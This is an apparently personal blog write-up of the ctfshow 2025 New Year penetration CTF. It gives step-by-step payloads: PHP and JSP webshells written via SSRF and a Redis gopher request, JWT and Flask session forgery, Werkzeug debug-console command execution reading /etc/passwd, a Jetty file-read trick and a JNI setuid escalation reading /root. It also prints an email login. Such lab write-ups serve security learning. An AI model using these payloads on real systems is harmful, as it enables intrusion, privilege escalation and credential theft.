2025元旦渗透赛复现-ctfshow

DDL07

于 2025-01-17 08:00:00 发布

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CC 4.0 BY-SA版权

文章标签： python 开发语言

本文链接：https://blog.csdn.net/2301_81133475/article/details/145187290

2025ctfshow元旦渗透赛

若图片不好使娶我blog👇

https://ddl08.github.io/

所有参考将在文章结尾给出

第一章

flag1-压缩包

压缩包密码爆破

flag2-图片-密码

压缩包里面有个图片

PNG 文件的尾部标识符

49 45 4E 44 AE 42 60 82

提取出后边多余的文件base64解密👇出来个这个

if __name__ == '__main__':
    try:
        import secretMessageResponse
    except ImportError:
        import pip
        pip.main(['install', 'secretMessageResponse'])
        from secretMessageResponse import printMessage

拿python运行一下没出来一堆数据

去找库👇

pip show secretMessageResponse

crypto环境问题

from Crypto.PublicKey import RSA ModuleNotFoundError: No module named ‘Crypto’ 解决方法：（1）安装pycryptodome库： pip install pycryptodome 如果site-packages中存在crypto、pycrypto，在pip之前，需要pip uninstall crypto、pip uninstall pycrypto，否则无法安装成功。（2）安装完成后将site-packages中crypto文件夹中的首字母c改为改为大写的C

求私钥

from Crypto.PublicKey import RSA

p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
n = 633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
e = 0x10001

# 计算其他相关参数
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

# 生成私钥
key = RSA.construct((n, e, d, p, q))
private_key = key.export_key()
print(private_key.decode('utf-8'))

求公钥

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

# 提供的PEM格式公钥
pem_key = b"""
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
"""

# 从PEM格式公钥中加载公钥
public_key = serialization.load_pem_public_key(
    pem_key,
    backend=default_backend()
)

# 提取模数(n)和公钥指数(e)
n = public_key.public_numbers().n
e = public_key.public_numbers().e

print("模数(n):", n)
print("公钥指数(e):", e)

解密脚本

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

message = {
    "inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
    "inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
    "inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',

}

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import base64
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681

q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

n = p * q
e = 0x10001
d = inverse(e,(p - 1) * (q - 1))
pub = RSA.construct((n,e,d,p,q))

with open('out.pem','wb') as f:
    f.write(pub.exportKey('PEM'))
with open('out.pem','rb') as f:
    pri_key = f.read()
# print(pri_key)

private_key = serialization.load_pem_private_key(pri_key,password=None,backend=default_backend())

for key, value in message.items():
    encrypted = base64.b64decode(value)
    message = private_key.decrypt(
        encrypted,
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    print(base64.b64decode(message).decode())

得出

Park:
你的行动已经暴露，24小时内迅速撤离，销毁所有资料，将现有资料统一上传到【任务中心】
发送人：Dylan
Park:
总部已经为你安排新的身份，请务必在3日内抵台，你的新身份是新竹县动物保护防疫所网络安全顾问，【任务中心】账号密码和你任职单位网站的数据库用户名密码一致，请尽快修改
发送人：Dylan
Park:
【任务中心】网址已变更为 https://task.ctfer.com ，请注意修改浏览器地址栏中的链接
发送人：Dylan

flag3-wp漏洞+基础账户

从这突然好玩了起来

根据2的提示去获得账号密码

根据对应网进数据库查，网页源代码是wordpress的，

扫一扫查一查

https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b/

漏洞验证

?aam-media=wp-config.php

ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}

第二章

flag4-jwt伪造+第二个账户

查看电话号码的地方可以抓包，根据提示是jwt，key在火堆里面

4a4f7d6e8b5 ？0c7f

4a4f7d6e8b5e3a0c7f

爆破

hashcat -a 3 -m 16500 hash.txt --custom-charset1=?l?d 4a4f7d6e8b5?1?1?10c7f

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzY3NzIyNTV9._fw255qGHn4l9BtB6Uw2AifVgb9Z5xd7Grl41Q7S7LU

出结果

ctfshow{117447685307}

flag5-文件读取+root账户+app.py.bak（含密码

拿新的身份去查看新的admin功能，抓个包,一个是遍历文件，一个是查看文件

访问init_users.json获得flag

ctfshow{7y.(sc#Ac_}

flag6-ssrf+secret_key

在Server Info菜单发现内网IP地址

有个download task file的页面可以试试内网访问

ctfshow{0x8F7C71E8E82E4D1E}

第三章

flag7-ssrf传码,获取shell

sqllite写码

?dsn=sqlite:shell.php&username=aaa&password=bbb&query=create table "aaa"(name TEXT DEFAULT "<?php file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");

没好使，用的下边的

http://172.2.198.5/?username=1%26password=1%26query=CREATE TABLE users (name TEXT);%26dsn=sqlite:b.php
http://172.2.198.5/?username=1%26password=1%26query=INSERT INTO users (name) VALUES ('<?php file_put_contents("4.php","<?php system(\$_GET[0]);?>");?>');%26dsn=sqlite:b.php
http://172.2.198.5/b.php
http://172.2.198.5/4.php?0=ls;
http://172.2.198.5/4.php?0=cat config.php;

法二

原内容

%3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php%20file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");

输入

http://172.2.198.5/%3fdsn=sqlite:shell.php%26username=bbb%26password=bbb%26query=create%20table%20%22bbb%22%20(name%20TEXT%20DEFAULT%20%22%3C?php%20file_put_contents(%271.php%27,%27%3C?php%20eval($_GET[1]);?%3E%27);?%3E%22);

再访问shell.php然后虽然报错但是码写进去了，然后去1.php

flag8-眼看

根目录有个secret.txt打开，里面有邮箱账号+密码的base64

hacker_ctfshow@163.com/H
acker_ctfsh0w

网易邮箱登录可以看到81192

第四章

flag9-session伪造-ssrf+key

打.6:8888进去就会给个session，访问/key会拒绝，伪造一个

根据flag5那的py.bak源代码里的伪造一个

python flask_session_cookie_manager3.py decode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5 -c eyJ1c2VyIjoiZ3Vlc3QifQ.Z4dF3w.FEE9qzWhV0dbFQ-ZNfYo7eqpr6o

python flask_session_cookie_manager3.py encode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5 -t "{'user': 'admin'}"

eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY

在通过刚才获取的shell去ssrf

http://172.2.198.5/4.php?0=curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/key"

flag10-flask日志文件getshell

思路

查看werkzeug的源码
- werkzeug是Python实现的WSGI规范的使用函数库。
- WSGI是一种服务器和客户端交互的接口规范
curl
- -v 选项启用了 详细模式
- -c cookie.txt：
  - 这个选项指定 curl 在完成请求后，将从服务器返回的 Cookies 保存到 cookie.txt 文件中。
- -b：
  - 这个选项用来指定 curl 发送请求时使用 指定的 Cookie 文件。

操作

法三

附上脚本

import base64
import requests
import urllib.parse

while True:
    data = input("> ")
    # data = urllib.parse.quote(data)
    # python_shell = 'curl --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk;__wzd2fb5743f98b45463400e=1736152460|4bfc86e353c8" "http://172.2.252.6:8888/console?__debugger__=yes&s=eABh7cMeNgMKri1DSi4w&cmd={}&frm=1"'.format(data)
    # python_shell = base64.b64encode(python_shell.encode()).decode()
    data = base64.b64encode(data.encode()).decode()
    # normal_shell = 'echo "' + data + '" | base64 -d | sh'
    normal_shell=data
    # url = "https://543f943e-6f90-43b4-bfc8-ee86d2fb3f34.challenge.ctf.show/downloadTaskFile?url=http://172.2.239.5/1.php?1=phpinfo();"
    url = "http://6bcb3e8b-f3e3-4103-86b7-e8d9a9df8f92.challenge.ctf.show/downloadTaskFile?url=http://172.2.198.5/1.php?1=system(base64_decode(\""+normal_shell+"\"));"
    response = requests.get(url, verify=False, headers={'Authorization': "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNzAwNTIwOH0.6I2CU7u2c96zkz_HhdEg2NvuvwdvLSsAjfIom3b80Jw"})
    try:
        # print(url)
        # print(response.json())
        # print(response.json()["url"])
        print(response.json()["file_content"])
    except:
        print("Error")
        continue

修改日志

/set_log_option%3flogName=werkzeug%2526logFile=main.log

获取console的密码

/console

21hr1yWBaAg5kQrHGHW

写入

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/set_log_option?__debugger__=yes&cmd=printpin&f=console.png&s=21hr1yWBaAg5kQrHGHWl"

查看

http://172.2.198.5/4.php?0=curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/get_log_content?logFile=main.log"

获取pin码

/set_log_option?__debugger__=yes&cmd=printpin&f=console.png&s=21hr1yWBaAg5kQrHGHWl
143-535-858

验证

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/console?__debugger__=yes&cmd=pinauth&pin=143-535-858&s=21hr1yWBaAg5kQrHGHWl"

保存cookie

curl -c cookie.txt -v -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/console?__debugger__=yes&cmd=pinauth&pin=143-535-858&s=21hr1yWBaAg5kQrHGHWl"

利用cookie命令执行

curl -v -b  "__wzd805bda8603787a1242cd=1736926402|12a32c978a26" "http://172.2.198.6:8888/console?__debugger__=yes&cmd=__import__('os').system('''cat%20\/etc\/passwd>.\/log\/main2.log''')&frm=0&s=21hr1yWBaAg5kQrHGHWl"

没写进去，换shell

http://172.2.198.5/1.php?1=system(base64_decode('Y3VybCAgLXYgLWIgICJfX3d6ZDgwNWJkYTg2MDM3ODdhMTI0MmNkPTE3MzY5MjY0MDJ8MTJhMzJjOTc4YTI2IiAiaHR0cDovLzE3Mi4yLjE5OC42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1vcy5zeXN0ZW0oJycnY2F0JTIwXC9ldGNcL3Bhc3N3ZD4uXC9sb2dcL21haW4yLmxvZycnJykmZnJtPTAmcz0yMWhyMXlXQmFBZzVrUXJIR0hXbCI='));

http://172.2.198.5/4.php?0=curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/get_log_content?logFile=main2.log"

读取

http://172.2.198.5/4.php?0=curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/get_log_content?logFile=main.log"

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4dItA.yrEFxBrghAW5vMoONE3fPUzMHAY" "http://172.2.198.6:8888/get_log_content?logFile=main.log"

直接读

 curl -v -b  "__wzd805bda8603787a1242cd=1736926402|12a32c978a26" "http://172.2.198.6:8888/console?__debugger__=yes&cmd=print(__import__('os').popen('cat%20\/etc\/passwd').read())&frm=0&s=21hr1yWBaAg5kQrHGHWl"

第五章

flag11

直接访问7的8080端口，是Jetty Server

敏感文件读取

curl  -v  "http://172.2.198.7:8080/%u002e/WEB-INF/web.xml"

直接读出来了

flag12

先上号

http://172.2.182.5/1.php?1=system(base64_decode('Y3VybCAgLXYgICJkaWN0Oi8vMTcyLjIuMTgyLjc6NjM4MC9hdXRoOmN0ZnNob3dfMjAyNSI='));

curl  -v  "dict://172.2.182.7:6380/auth:ctfshow_2025"

再传码

http://172.2.182.5/1.php?1=system(base64_decode('Y3VybCAgLXYgICJnb3BoZXI6Ly8xNzIuMi4xODIuNzo2MzgwL19hdXRoJTIwY3Rmc2hvd18yMDI1JTBBc2V0JTIwbWFycyUyMCUyMiUzQyUyNSUyMFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3JTIwU3RyaW5nJTVCJTVEJTdCJTVDJTIyc2glNUMlMjIlMkMlNUMlMjItYyU1QyUyMiUyQ3JlcXVlc3QuZ2V0UGFyYW1ldGVyKCU1QyUyMmNtZCU1QyUyMiklN0QpJTNCJTI1JTNFJTIyJTBBY29uZmlnJTIwc2V0JTIwZGlyJTIwJTJGb3B0JTJGamV0dHklMkZ3ZWJhcHBzJTJGUk9PVCUyRiUwQWNvbmZpZyUyMHNldCUyMGRiZmlsZW5hbWUlMjAyLmpzcCUwQXNhdmUlMEFxdWl0Ig=='));

读取文件

发现命令没有回显，写入web服务目录/opt/jetty/webapps/ROOT/

2.jsp?cmd=ls%20/>/opt/jetty/webapps/ROOT/success.txt

2.jsp?cmd=cat%20/dylan.txt>/opt/jetty/webapps/ROOT/success.txt

flag13

查询cap权限

getcap%20-r%20/%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt

/usr/local/openjdk-8/bin/java = cap_setuid+ep

setuid提权

写setuid.c

2.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c

#include <jni.h>
#include <unistd.h>

JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
    return setuid(uid);
}

setuid.java

2.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java

public class SetUID {
    static {
        System.loadLibrary("SetUID"); 
    }

    public native int setUID(int uid); 

    public static void main(String[] args) throws Exception {
        SetUID setUID = new SetUID();
        int result = setUID.setUID(0); 
        Runtime.getRuntime.exec(new String[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
    }
}

编译

2.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java

2.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c

执行

2.jsp?cmd=java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID

参考

https://chenxi9981.github.io/ctfshow_%E5%85%83%E6%97%A6%E6%9D%AF/

https://www.cnblogs.com/LAMENTXU/articles/

https://ysynrh77rj.feishu.cn/docx/F3nJdGJHjo1DSBx8c2TcecLrnvh

评价

挺难的，感觉我自己做不能出，

疑惑点是flag10这，还有flag13这，13是真不会，记住payload下回直接用了